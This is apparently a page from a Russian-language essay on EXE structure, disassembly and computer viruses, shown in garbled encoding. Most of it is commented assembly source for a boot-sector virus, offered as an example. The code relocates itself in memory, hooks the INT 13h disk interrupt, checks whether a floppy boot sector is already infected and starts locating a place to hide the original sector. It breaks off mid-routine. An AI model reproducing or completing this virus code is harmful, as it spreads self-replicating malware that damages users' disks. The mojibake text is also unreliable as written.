Ðåôåðàò: Ñåìàíòè÷åñêèé àíàëèç ñòðóêòóðû EXE ôàéëà è äèñàññåìáëåð (ñ ïðèìåðàìè è èñõîäíèêàìè), âèðóñîëîãèÿ
0 - çàãðóçèòü è âûïîëíèòü
1 - çàãðóçèòü è íå âûïîëíÿòü
3 - çàãðóçèòü îâåðëåé
4 - çàãðóçèòü è âûïîëíèòü â ôîíîâîì ðåæèìå (dos 4.0)
es:bx = áëîê ïàðàìåòðîâ (òàá 3)
ds:dx = èìÿ ïðîãðàììû
âûõîä:
if CF=0 then
bx,dx ðàçðóøåíû
else
ax = êîä îøèáêè (1,2,5,8,0A,0B)
Ïðèìåð ýëåìåíòàðíîãî BOOT-âèðóñà:
.286
.model tiny
.code
org 00h
start: jmp install
;jmp fkñ
table: ; À âîò òóò áóäåò òàáëèöà äèñêà
org 4ch ; ìíîãî ìåñòà åé, íî...
fkñ: nop ;
xor di,di ; îáíóëèì èõ
mov ds,di ; DS=0
cli ;
mov ss,di ; SS=0
mov si,7c00h ; SI - àäðåñ â ïàìÿòè, òàì ìû
; íà÷èíàåìñÿ.
mov bx,si ; çàïîìíèì ýòî... åùå ïðèãîäèòñÿ
mov sp,si
sti
dec word ptr ds:[0413h] ; ñòîêà ïàìÿòè äîñ
mov ax,ds:[0413h] ; â ÀÕ ðàçìåð äîñ-ïàìÿòè â êèëîáàéòàõ
mov cl,06 ; ÷òîáû ïîëó÷èòü ñåãìåíò íàäî ÷èñëî
shl ax,cl ; êèëîáàéò óìíîæèòü íà 40h
; íåìíîãî àðèôìåòèêè - ñåãìåíò ñ÷èòàþò
; îò íà÷àëà ïàìÿòè â ïàðàãðàôàõ, ïàðà-
; ãðàô=10h áàéò, 40h ïàðàãðàôîâ=400h
; áàéò=1êÁò. äàëüøå âñå ÿñíî.
mov es,ax ; ES=àäðåñ íîâîãî ñåãìåíòà
push ax ; â ñòåê åãî - áóäåì äåëàòü ïåðåõîä
mov ax,offset inst_int ; íà ýòî âîò ñìåùåíèå
push ax ; è åãî â ñòåê òîæå
mov cx,200h ; íî ñïåðâà íàäî ïåðåíåñòè ñâîå òåëî
cld ; â ýòîò âîò ñåãìåíò
rep movsb ; ïåðåíîñèì
retf ; ïåðåõîä ÷åðåç ñòåê
inst_int: ; çäåñü ìû óæå â íîâîì ñåãìåíòå
mov ax,ds:[13h*4] ; INT 0E0h=INT 13h original
mov ds:[0e0h*4],ax ;
mov ax,ds:[13h*4+2] ;
mov ds:[0e0h*4+2],ax ;
mov word ptr ds:[13h*4],offset int13 ; INT 13h=íàø îáðàáîò÷èê
mov ds:[13h*4+2],cs ;
xor cx,cx
push cx ; ñíîâà ïîäãîòîâêà ê ïåðåõîäó
push bx ; ÷åðåç ñòåê â òî÷êó 0000:7C00h
mov es,cx
mov ax,0201h ; ÷èòàòü íîðìàëüíûé áóò-ñåêòîð
mov cx,cs:floppy_sect ; âîò îòñþäà åãî è ÷èòàòü
mov dh,cs:floppy_head ;
xor dl,dl ; ñ äèñêà À: åñòåñòâåííî
int 0e0h ; âûçîâ îðèãèíàëüíîãî INT 13h
run_boot:
retf ; çàïóñòèòü áóò.
;------ *** Hàø îáðàáîò÷èê INT 13h *** -------
int13: mov cs:shit,ax ; ñîõðàíèì ax
int 0e0h ; âûïîëíèì îïåðàöèþ
jnc int_continue ; åñëè áûëà îøèáêà óõîäèì
jmp int_exit
int_continue:
pushf ; ôëàãè çàïîìíèòü íàäî!
cmp byte ptr cs:[shit+1],2 ; reading sectors?
jnz g1
cmp cx,0001
jne g1
cmp dh,0 ; ÷èòàåì áóò
jne g1
cmp dl,01 ; íå ñ âèíòà íàäåþñü?
jna fkñ_boot
g1: jmp get_out
;------------- Îáðàáîò÷èê ÷òåíèÿ áóòà ñ äèñêåòû ---------------
fkñ_boot:
pusha
push ds es
push es
pop ds
lea di,fkñ ; ñðàâíèì òî ÷òî ó íàñ ïî ñìåùåíèþ fkñ
mov ax,cs:[di] ; ñ òåì ÷òî ìû ïðî÷èòàëè ïî òîìó æå ñìåùåíèþ
mov si,bx ; Òàê ìû ïðîâåðÿåì çàðàæåí ëè
add si,offset fkñ ; óæå íàìè áóò-ñåêòîð
cmp ax,[si] ;
jz exit_boot_work ; åñëè íåò òî óéäåì îòñþäà
cmp dl,1 ; íà âñÿêèé ïîæàðíûé :) Â ïðèíöèïå ìîæåòå
ja exit_boot_work ; ýòó ïðîâåðêó âûêèíóòü - îíà óæå áûëà
find_place: ; ïîèñê ìåñòà êóäà ïðÿòàòü ñòàðûé áóò-ñåêòîð
mov ax,[bx+16h] ; ax=÷èñëî ñåêòîðîâ â FAT
mul byte ptr [bx+10h] ; óìíîæèì åãî íà ÷èñëî FAT
add ax,[bx+0eh] ; ïðèáàâèì ÷èñëî ðåçåðâíûõ ñåêòîðîâ äëÿ FAT--
push dx ; çàïîìíèì dx - òàì íîìåð äèñêà è ñòîðîíà |
mov cl,4 ; |
mov dx,[bx+11h] ; dx=÷èñëî ýëåìåíòîâ êîðíåâîãî êàòàëîãà |
; 1 ýëåìåíò çàíèìàåò 32 áàéòà |
shr dx,cl ; ïîäåëèì åãî íà 16 - ïîëó÷èì ÷èñëî ñåêòðîâ |
; êîðíÿ, âðîäå áû òàê... |
add ax,dx ; ïðèáàâèì ê AX------------------------------
dec ax ; óìåíüøèì íà 1
; â AX ïîðÿäêîâûé íîìåð ïîñëåäíåãî ñåêòîðà
; ROOT'a... ???
mov cx,[bx+18h] ; cx=÷èñëî ñåêòîðîâ íà äîðîæêå
push cx ; çàïîìíèì åãî
Ñòðàíèöû: 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17